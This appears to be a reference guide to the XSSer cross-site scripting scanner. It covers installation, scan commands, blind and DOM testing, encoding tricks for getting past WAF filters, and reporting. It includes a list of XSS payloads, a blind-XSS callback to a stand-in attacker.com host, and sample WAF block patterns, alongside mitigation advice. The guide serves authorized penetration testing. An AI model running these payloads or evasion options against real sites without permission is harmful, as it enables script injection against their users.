XSSer
Overview
Section titled “Overview”XSSer (Cross Site Scripting Scanner) is a comprehensive framework for detecting and exploiting Cross-Site Scripting (XSS) vulnerabilities in web applications. It supports multiple injection vectors, payload generation, fuzzing capabilities, and advanced exploitation techniques. XSSer is ideal for authorized penetration testers and security researchers.
Key Features
Section titled “Key Features”- Automatic XSS vulnerability detection across multiple injection points
- Customizable payload libraries and fuzzing
- Support for GET, POST, and Cookie-based parameters
- Blind XSS detection and exploitation
- DOM-based XSS identification
- Distributed scanning capabilities
- Output in HTML, XML, and other formats
Installation
Section titled “Installation”Linux / Kali Linux
Section titled “Linux / Kali Linux”# Install via package manager
sudo apt-get install xsser
# Or clone from GitHub
git clone https://github.com/epsylon/xsser.git
cd xsser
sudo python3 setup.py install# Via Homebrew
brew install xsser
# Or manual installation
git clone https://github.com/epsylon/xsser.git
cd xsser
python3 setup.py installWindows
Section titled “Windows”# Clone repository
git clone https://github.com/epsylon/xsser.git
cd xsser
# Install dependencies
pip install -r requirements.txt
# Run XSSer
python3 xsser.pyDependencies
Section titled “Dependencies”# Core requirements
pip install pycurl
pip install beautifulsoup4
pip install pygeoip
pip install urllib3
pip install selenium
pip install pillowBasic Usage
Section titled “Basic Usage”Simple URL Scanning
Section titled “Simple URL Scanning”# Basic URL scan
xsser -u "http://target.com/?id=1"
# Test specific parameter
xsser -u "http://target.com/?search=test" -p "search"GET Parameter Fuzzing
Section titled “GET Parameter Fuzzing”# Fuzz all GET parameters
xsser -u "http://target.com/?id=1&name=test" --auto
# Test with payloads list
xsser -u "http://target.com/?id=1" -g
# Custom wordlist
xsser -u "http://target.com/?id=1" -w /path/to/payloads.txtPOST Data Testing
Section titled “POST Data Testing”# Test POST parameters
xsser -u "http://target.com/login" -p "username=test&password=test"
# POST with custom data
xsser -u "http://target.com/submit" --data="name=test&email=test@test.com"Cookie and Header Injection
Section titled “Cookie and Header Injection”# Test cookies
xsser -u "http://target.com" -c "sessionid=abc123"
# Custom headers
xsser -u "http://target.com" -H "User-Agent: Mozilla/5.0" \
-H "Referer: http://attacker.com"Common Command Options
Section titled “Common Command Options”| Option | Description |
|---|---|
-u URL | Target URL to scan |
-p PARAM | Specific parameter to test |
-g | Use GET method (default) |
--data | POST data to send |
-c COOKIE | Cookie string for requests |
-H HEADER | Custom HTTP header |
-w WORDLIST | Custom payload wordlist file |
--auto | Automatic fuzzing mode |
--blind | Blind XSS detection |
--dom | Test DOM-based XSS |
--user-agent | Spoof user agent |
-o FILE | Output results to file |
--report | Generate HTML report |
Advanced Scanning Techniques
Section titled “Advanced Scanning Techniques”Blind XSS Detection
Section titled “Blind XSS Detection”Blind XSS occurs when the payload executes but the result isn’t visible. XSSer can detect this using out-of-band callbacks.
# Enable blind XSS detection
xsser -u "http://target.com/?feedback=test" --blind
# With callback server (requires setup)
xsser -u "http://target.com/?comment=test" --blind \
--callback-url "http://attacker.com/callback"DOM-Based XSS Testing
Section titled “DOM-Based XSS Testing”# Test for DOM XSS vulnerabilities
xsser -u "http://target.com/page.html" --dom
# Enable JavaScript rendering
xsser -u "http://target.com" --dom --browserMutation-Based Fuzzing
Section titled “Mutation-Based Fuzzing”# Generate variations of payloads
xsser -u "http://target.com/?id=1" --mutate
# Advanced mutation with custom patterns
xsser -u "http://target.com/?id=1" --mutate \
--encode "double_url" "html" "unicode"Distributed Scanning
Section titled “Distributed Scanning”# Setup multiple scanning threads
xsser -u "http://target.com" --threads 10
# With proxy support for distributed scanning
xsser -u "http://target.com" --proxy "http://proxy.local:8080"Payload Crafting
Section titled “Payload Crafting”Custom Payload Wordlist
Section titled “Custom Payload Wordlist”Create a file named custom_payloads.txt:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')"></iframe>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')></marquee>Using Custom Payloads
Section titled “Using Custom Payloads”# Test with custom payload file
xsser -u "http://target.com/?search=" -w custom_payloads.txt
# Test specific payload
xsser -u "http://target.com/?id=1" -p "id" --payload="<script>alert('XSS')</script>"Encoding Payloads
Section titled “Encoding Payloads”# URL encode payload
xsser -u "http://target.com/?id=1" --encode "url"
# HTML entity encoding
xsser -u "http://target.com/?id=1" --encode "html"
# Multiple encoding layers
xsser -u "http://target.com/?id=1" --encode "double_url,html"
# Unicode encoding
xsser -u "http://target.com/?id=1" --encode "unicode"Output and Reporting
Section titled “Output and Reporting”Saving Results
Section titled “Saving Results”# Save to text file
xsser -u "http://target.com/?id=1" --auto -o results.txt
# Generate HTML report
xsser -u "http://target.com/?id=1" --auto --report results.html
# XML output
xsser -u "http://target.com/?id=1" --auto -o results.xml --xmlAnalyzing Results
Section titled “Analyzing Results”# Verbose output during scanning
xsser -u "http://target.com/?id=1" --verbose
# Show only positive findings
xsser -u "http://target.com/?id=1" --auto --show-positive-onlyAdvanced Techniques
Section titled “Advanced Techniques”Testing Multiple URLs
Section titled “Testing Multiple URLs”Create targets.txt:
http://target1.com/?id=1
http://target2.com/?search=test
http://target3.com/form# Batch scanning
xsser --file targets.txt --auto
# With thread pool
xsser --file targets.txt --auto --threads 5Cookie and Session Handling
Section titled “Cookie and Session Handling”# Test with authentication
xsser -u "http://target.com/dashboard" \
-c "auth_token=valid_token; session_id=xyz123"
# Maintain session across requests
xsser -u "http://target.com" --cookie-jar cookies.txt
# Test cookie parameters
xsser -u "http://target.com" -c "user=<payload>"User-Agent Spoofing
Section titled “User-Agent Spoofing”# Bypass User-Agent based filters
xsser -u "http://target.com/?id=1" \
--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# Test multiple User-Agents
xsser -u "http://target.com/?id=1" --auto \
--user-agents-file user_agents.txtProxy and SSL Configuration
Section titled “Proxy and SSL Configuration”# Route through proxy
xsser -u "http://target.com/?id=1" --proxy "http://proxy:8080"
# Ignore SSL certificate errors
xsser -u "https://target.com/?id=1" --ignore-proxy-ssl
# SOCKS proxy
xsser -u "http://target.com/?id=1" --socks5 "127.0.0.1:1080"Real-World Examples
Section titled “Real-World Examples”Example 1: Test Search Parameter
Section titled “Example 1: Test Search Parameter”xsser -u "http://ecommerce.com/search?q=test" -p "q" --autoResults show XSS in search results rendering.
Example 2: Form Submission Testing
Section titled “Example 2: Form Submission Testing”xsser -u "http://blog.com/comment" \
--data="name=test&comment=test&email=test@test.com" \
--autoDetects stored XSS in comment parameter.
Example 3: API Parameter Fuzzing
Section titled “Example 3: API Parameter Fuzzing”xsser -u "http://api.target.com/users?id=1&filter=test&sort=name" \
--auto --threads 8Identifies XSS in API response parameters.
Example 4: Blind XSS with Burp Collaborator
Section titled “Example 4: Blind XSS with Burp Collaborator”xsser -u "http://target.com/?feedback=" \
--blind --callback-url "http://burp-collaborator-id.burpcollaborator.net"Detects blind XSS through out-of-band callbacks.
Prevention and Mitigation
Section titled “Prevention and Mitigation”Security Best Practices
Section titled “Security Best Practices”- Input Validation: Strictly validate and sanitize user input
- Output Encoding: Encode output based on context (HTML, JavaScript, URL, CSS)
- Content Security Policy: Implement strict CSP headers
- HTTPOnly Cookies: Mark session cookies as HTTPOnly
- Input Filters: Use web application firewalls (WAF)
Example WAF Rules
Section titled “Example WAF Rules”# Block common XSS patterns
BlockRule: pattern=<script|javascript:|onerror=|onload=
BlockRule: pattern=eval\(|expression\(
BlockRule: pattern=vbscript:|behavior=Troubleshooting
Section titled “Troubleshooting”Common Issues
Section titled “Common Issues”Issue: Connection timeout
# Increase timeout value
xsser -u "http://target.com" --timeout 30Issue: False positives detected
# Use strict matching mode
xsser -u "http://target.com" --strictIssue: Blocked by WAF/IDS
# Slow down requests with delays
xsser -u "http://target.com" --delay 2
# Use randomized User-Agents
xsser -u "http://target.com" --random-user-agentResources
Section titled “Resources”- Official Documentation: https://github.com/epsylon/xsser
- OWASP XSS Prevention: https://owasp.org/www-community/attacks/xss/
- PortSwigger XSS Guide: https://portswigger.net/web-security/cross-site-scripting
- CWE-79: https://cwe.mitre.org/data/definitions/79.html
Legal Disclaimer
Section titled “Legal Disclaimer”XSSer is designed for authorized security testing and vulnerability assessment only. Unauthorized testing of systems you do not own or have explicit permission to test is illegal and unethical. Always:
- Obtain written authorization before testing
- Follow applicable laws and regulations
- Document findings responsibly
- Disclose vulnerabilities through proper channels
- Respect data privacy and confidentiality